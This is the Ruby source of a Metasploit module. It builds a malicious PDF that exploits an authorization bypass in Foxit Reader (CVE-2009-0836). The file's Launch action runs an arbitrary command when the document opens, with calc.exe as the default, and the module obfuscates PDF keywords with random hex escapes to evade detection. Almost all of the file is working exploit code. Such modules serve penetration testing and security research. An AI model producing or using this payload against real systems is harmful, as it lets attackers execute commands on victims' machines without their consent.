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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'zlib'
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::FILEFORMAT
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Foxit Reader Authorization Bypass',
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      'Description'    => %q{
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          This module exploits an authorization bypass vulnerability in Foxit Reader
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        build 1120. When an attacker creates a specially crafted pdf file containing
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        an Open/Execute action, arbitrary commands can be executed without confirmation
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        from the victim.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         => [ 'MC', 'Didier Stevens <didier.stevens[at]gmail.com>', ],
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      'References'     =>
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        [
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          [ 'CVE', '2009-0836' ],
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          [ 'OSVDB', '55615'],
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          [ 'BID', '34035' ],
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        ],
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      'DisclosureDate' => '2009-03-09'))
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    register_options(
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      [
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        OptString.new('CMD',        [ false, 'The command to execute.', '/C/Windows/System32/calc.exe']),
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        OptString.new('FILENAME',   [ false, 'The file name.',  'msf.pdf'])
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      ])
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  end
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  def run
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    exec = datastore['CMD']
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    # Create the pdf
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    pdf = make_pdf(exec)
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    print_status("Creating '#{datastore['FILENAME']}' file...")
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    file_create(pdf)
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  end
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  #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
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  def n_obfu(str)
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    result = ""
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    str.scan(/./u) do |c|
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      if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
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        result << "#%x" % c.unpack('C*')[0]
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      else
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        result << c
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      end
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    end
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    result
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  end
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  def random_non_ascii_string(count)
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    result = ""
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    count.times do
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      result << (rand(128) + 128).chr
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    end
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    result
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  end
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  def io_def(id)
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    "%d 0 obj" % id
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  end
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  def io_ref(id)
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    "%d 0 R" % id
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  end
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  def make_pdf(exec)
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    xref = []
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    eol = "\x0d\x0a"
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    endobj = "endobj" << eol
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    # Randomize PDF version?
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    pdf = "%%PDF-%d.%d" % [1 + rand(2), 1 + rand(5)] << eol
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    pdf << "%" << random_non_ascii_string(4) << eol
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    xref << pdf.length
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    pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj
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    xref << pdf.length
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    pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj
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    xref << pdf.length
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    pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj
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    xref << pdf.length
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    pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj
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    xref << pdf.length
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    pdf << io_def(5) << "<</Type/Action/S/Launch/F << /F(#{exec})>>/NewWindow true\n" + io_ref(6) + ">>" << endobj
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    xref << pdf.length
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    pdf << endobj
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    xrefPosition = pdf.length
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    pdf << "xref" << eol
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    pdf << "0 %d" % (xref.length + 1) << eol
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    pdf << "0000000000 65535 f" << eol
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    xref.each do |index|
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      pdf << "%010d 00000 n" % index << eol
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    end
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    pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol
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    pdf << "startxref" << eol
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    pdf << xrefPosition.to_s() << eol
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    pdf << "%%EOF" << eol
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  end
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end
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